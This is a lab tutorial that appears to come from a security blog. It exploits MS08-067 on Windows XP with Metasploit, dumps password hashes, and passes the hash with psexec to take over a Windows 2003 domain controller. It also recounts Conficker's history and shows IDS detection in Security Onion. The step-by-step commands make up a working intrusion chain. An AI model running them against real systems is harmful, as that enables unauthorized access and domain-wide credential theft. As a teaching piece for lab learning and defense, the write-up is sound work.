I hope you take away some valuable lessons from this tutorial and inspect the processes running on your system if you don’t do that already! Be dubious of random executables online before you download them and don’t rely on VirusTotal to save you or make you feel safe. Also, stop using Windows Server 2003 and Windows XP as these systems are full of holes and  even though MS08_067 was exploited in this article and the previous one these systems are full of holes and unsupported so move away from them. It’s really child’s play and trivial for any script kiddie to own your box.

There is also a video to accompany this article seen here below.

Until next time play in the lab and see what you can do, read the man pages and read about security threats and subscribe to RSS feeds online. It’s an excellent way to learn and get to your end goal whatever that may be.

 

Exploiting ms08_067 – Windows XP & Windows Server 2003 Passing the hash

If you have ever encountered Conficker (aka Downup, Downadup and Kido depending on the AV vendor naming convention but I prefer Conficker) on a Windows system it has most likely been due to the system being unpatched for ms08_067 (CVE-2008-4250) published on October 23, 2008 replacing the previous vulnerability affecting some Windows systems published on August 08, 2006 MS06-040 (CVE-2008-4250) which makes it trivial to run arbitrary code on the target system via remote code execution (RCE) allowing an attacker to gain full system access of the target machine and do anything they want. This made the Conficker Worm one of the best worms since the Welchia Worm back in 2003 that was classed as a helpful worm as it looked for the Blaster Worm on an infected system deleted it and then patched the users system although it was not always successful with the patching process according to Microsoft. Conficker still exists and one of the variants of which there are five (A,B, B++, C & E)  even formed a huge botnet.

A nice visual representation of how the Conficker Worm spreads is outlined below courtesy of Wikimedia and it uses a nice little technique commonly used by worms and malware still today to spread laterally through a network exploiting weak passwords on the victim machines. Later another variant updated the previous versions to propagate via network shares and removable media and was recently discovered in a nuclear power plant in Germany where there machines were said to be riddled with it as is often the case when you discover a Conficker infection. I once witnessed Conficker hit over 25,000 machines in minutes after a Senior technician had plugged their USB into a system logged in as domain admin, lets just say that heads rolled!

Did you know that the name Conficker actually translates to “Configure Fucker” using the English word Configure (Con) and the German derogatory term “Ficker” which translates to Fucker in English so next time you see it think of the correct name and don’t refer to it as Downup for example as that’s just AV companies giving different names to malware families and confusing the masses.

Analysis has been difficult for researchers who struggled to get around the huge amount of pseudo-random generated domains generated on a daily basis of which there was 250 initially beaconing out to eight Top Level Domains (TLD’s) think .biz, .com etc. When it reached the Command and Control (C&C) server it then would update itself or send a new payload to the victim machine. Imagine dealing with a huge amount of Indicators of Compromise (IOC’s) like this yourself, it’s quite daunting but through collaboration in the Cyber Security Community which included Microsoft, ICANN, domain registry operators, anti-virus vendors, and academic researchers they managed to crack the Domain Generation Algorithim (DGA) that was being used to generate the 250 pseudo-random generated domains a day and register the domains in advance of the Conficker Author and block them from communicating with and updating the botnet which proved to be quite successful until Conficker C was released in early February 2009 and managed to update nearly half a million computers from the A/B variants to Conficker C.

Variants B and later also upgraded the armoring of it’s payloads to prevent them from being hijacked and moved from MD5 hashing to MD6 six weeks after a weakness was discovered in the MD5 algorithm and moved from an RSA 1024-bit private key to an RSA 4096-bit private key which meant Conficker didn’t unpack or execute the payload unless the signature was verified against the public key in the malware.

The most amazing thing that happened when Conficker updated the previous variants on April the 1st 2009 was that it now no longer generated 250 pseudo-random generated domains per day but a staggering 50,000 pseudo-random generated domains from over 116 TLD’s all over the world. The Conficker author was learning from the Conficker Working Group and adapting to make their research incredibly more difficult than it once had been.

This is why we still see Conficker today so long after it’s initial release eight years ago.

0_Conficker_infection_methods

0_Conficker_infection_methods

The exploit of MS08_067 works so well because the Windows Server service does not properly handle specially crafted RPC requests that are sent to it.

The Server service provides Remote Procedure Call (RPC) support so that you can print, access file shares and communicate with applications on other systems in the network using named pipe services.

The Remote Procedure Call (RPC) is a protocol which allows a program to request a service from a program that is located on another system remotely on the network. The remote system will be known as the client and the remote service-providing program is the server.

Anyway let’s get to the fun part.

Exploiting MS08_067 is a bit like writing “hello world” for the first time in a new language and it’s a great way to get started 🙂

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall
2 – Security Onion <– Monitoring & IDS
3 – Windows XP <– Joined to a Domain Controller
4 – Windows Server 2003 <– Domain Controller
5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Scanning a system using Nmap to check if it is vulnerable first to MS08_067.

2 – Exploiting the system with Metasploit using msfconsole.

3 – Grabbing password hashes on the compromised target system.

4 – Checking which hashes work with an Nmap script.

5 – Leveraging the hashes to attack a Domain Controller by passing the hash.

6 – Have a quick look at the system processes using Process Explorer.

7 – Have a quick look at the Security Onion Snort IDS Logs in Squil to see what events were triggered.

Kali Attacker = 192.168.1.102
XP Victim IP Address = 192.168.1.104
Windows Server 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

First by using one of the built in Nmap Scripting Engine (NSE) scripts we can scan the system to see whether it’s vulnerable to MS08_067 (It will also tell you if the system is already infected with Conficker)

Search for it on your system using the following command

locate nmap | grep ms08

You can then use the location of the file in your Nmap command as outlined below

nmap –script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse 192.168.1.104

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-vuln-ms08-067.nse” this is the directory in which the script we want to use resides.
“192.168.1.104” this is the target (victim) machine to scan

1_nmap_ms08_067_nse_vulnerability_scanning_script

1_nmap_ms08_067_nse_vulnerability_scanning_script

Now that we know the system is vulnerable to this attack we can fire up msfconsole and exploit the target.

Simply run msfconsole

2_load_msfconsole_to_exploit_ms08_067

2_load_msfconsole_to_exploit_ms08_067

Don’t you love the banners every time you login 🙂

3_msfconsole_loaded

3_msfconsole_loaded

Search for the ms08_067 module with a simple search

search ms08_067

The ranking of great below means this exploit as per the advisory will have great success in exploiting the target system by using a buffer overflow allowing you to run arbitrary commands on the target system via remote code execution (RCE)

4_msfconsole_search_for_ms08_067_exploit_module

4_msfconsole_search_for_ms08_067_exploit_module

Using the name and the directory found using search above you can now use that in order to exploit the vulnerable Windows XP target machine.

Use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.104
exploit

“use” tells metasploit that you would like to use the module that follows
“exploit/windows/smb/ms08_067_netapi” the module you want to use
“set” sets the options which follow into the newly loaded module
“RHOST 192.168.1.104” this is the option you want to set for your remote host IP address
“exploit” simply runs the module with your predefined options just entered.

Running shell gives you a command line shell on the target box, this is not needed and is just done for fun.

You can see the IP address of the Windows XP machine, alternatively you could just run ifconfig from the meterpreter as you would on your Linux system to get the same information.

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

Exit from the windows shell and then run hashdump from the meterpreter shell to easily gather the user accounts and password hashes on the target system.

6_meterpreter_dumping_password_hashes_Windows_XP

6_meterpreter_dumping_password_hashes_Windows_XP

Now that you have some usernames and passwords you can create some files using any editor of your choice but for pure simplicity I am using the cat command to create these quickly.

“Cat > usernames.txt” tells cat to create a file called usernames.txt. Everytime you want to go to the next line hit enter and exit and save the file by pressing CTRL + C on your keyboard.

“Cat usernames.txt” is used to then verify that the usernames have been added and saved.

Repeat the same process above for the hashes as you can see below.

7_create_username_and_password_hash_files_for_nmap_brute_force_script

7_create_username_and_password_hash_files_for_nmap_brute_force_script

Now that you have a username and hashes file you can pass these to another Nmap script to try against the target Windows 2003 Domain Controller and see if these accounts exist.

Search for the nmap smb-brute script with the following command:

Locate nmap | grep smb-brute

Run the following nmap command to check if any of the usernames and hashes are valid against the target system.

Nmap –script=/usr/share/nmap/scripts/smb-brute.nse –script-args=userdb=usernames.txt,passdb=hashes.txt 192.168.1.105

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-brute.nse” this is the directory in which the script we want to use resides.
“–script-args=” this allows you to send additional options to the NSE script
“userdb=usernames.txt” userdb is an option and usernames.txt is assigned to this variable which is then passed to the script.
“,” make sure to enter that comma without any spaces!
“ passdb=hashes.txt” passdb is an option and hashes.txt is assigned to this variable which is then passed to the script.
“192.168.1.105” this is the target (victim) machine to scan (You can change this to a subnet if you wish)

You can then see if any of the accounts are valid when the script runs. Any that are will have “Valid Credentials” appended at the end as can be seen below.

8_nmap_smb_brute_nse_script_Windows_Server_2003

8_nmap_smb_brute_nse_script_Windows_Server_2003

Using your confirmed valid credentials using the nmap script you can now pass the hash obtained from the Windows XP machine administrator account and use it against the Windows 2003 Server Domain Controller without knowing the actual plain text password or even cracking it. You can simply pivot and use the hash as leverage into another system on the network and in this case the keys to the kingdom as you are getting access to all the users accounts hosted on this server. In this guide I am using the psexec module within metasploit but you could also choose to upload the actual sysinternals psexec.exe to the Windows XP system and pivot from there leaving less of a trail to your Kali system when you pass the hash.

Use exploit/windows/smb/psexec
set rhost 192.168.1.105
set SMBUSER administrator
set SMBPASS 25d4823ec0752acc38f10713b629b565:cf4762a61e232355aa12d713a083d5fd
exploit

I’m not going to explain the above command usage as it should be self explanatory, if you are unsure check above and see if you can figure it out.

Once again shell is ran to get a Windows command prompt on the Windows 2003 Server and check the IP address.

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

If you run the Sysinternals process explorer on the Windows 2003 Server you can see your metasploit connection established running in rundll32.exe as can be seen below.

10_using_procexp_on_Windows_Server_2003_to_check_connections

10_using_procexp_on_Windows_Server_2003_to_check_connections

It’s a good idea to run metasploits hashdump again in order to gain the Active Directory users as you are sure to get more than the ones you gained on the Windows XP machine at the start.

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

I like to also run monitoring tools while playing around as you probably know from following along in previous tutorials namely the building of your own Snort IDS but have recently gone back to using Security Onion as it’s very user friendly to configure, setup and everything just works. The team over at security onion have really done a fantastic job getting this Open Source networking monitoring OS off the ground and I really advise having a play around with it as it’s easy to maintain and configure.

Below is a snippet from SQUIL making the Snort IDS signatures easy to run through and break down into the finer details. As you can see it detected Possible Shellcode. Policy related signatures are also triggered too which don’t mean what you think they mean. Yes you’re thinking it shows the system was attacked but in reality they mean it’s a policy signature and it’s detecting an EXE or DLL file download to the destination (target) system which in our case is part of an attack but in real life it could just be a random EXE or DLL that has been downloaded legitimately and sets off a False Positive. Most people think these are attacks when they are not.

12_Security_Onion_IDS_Logs_SGUIL

12_Security_Onion_IDS_Logs_SGUIL

I hope you enjoyed this write up, I had lots of fun making it and have also included a short video carrying out this attack which you can view below. Until next time, have fun!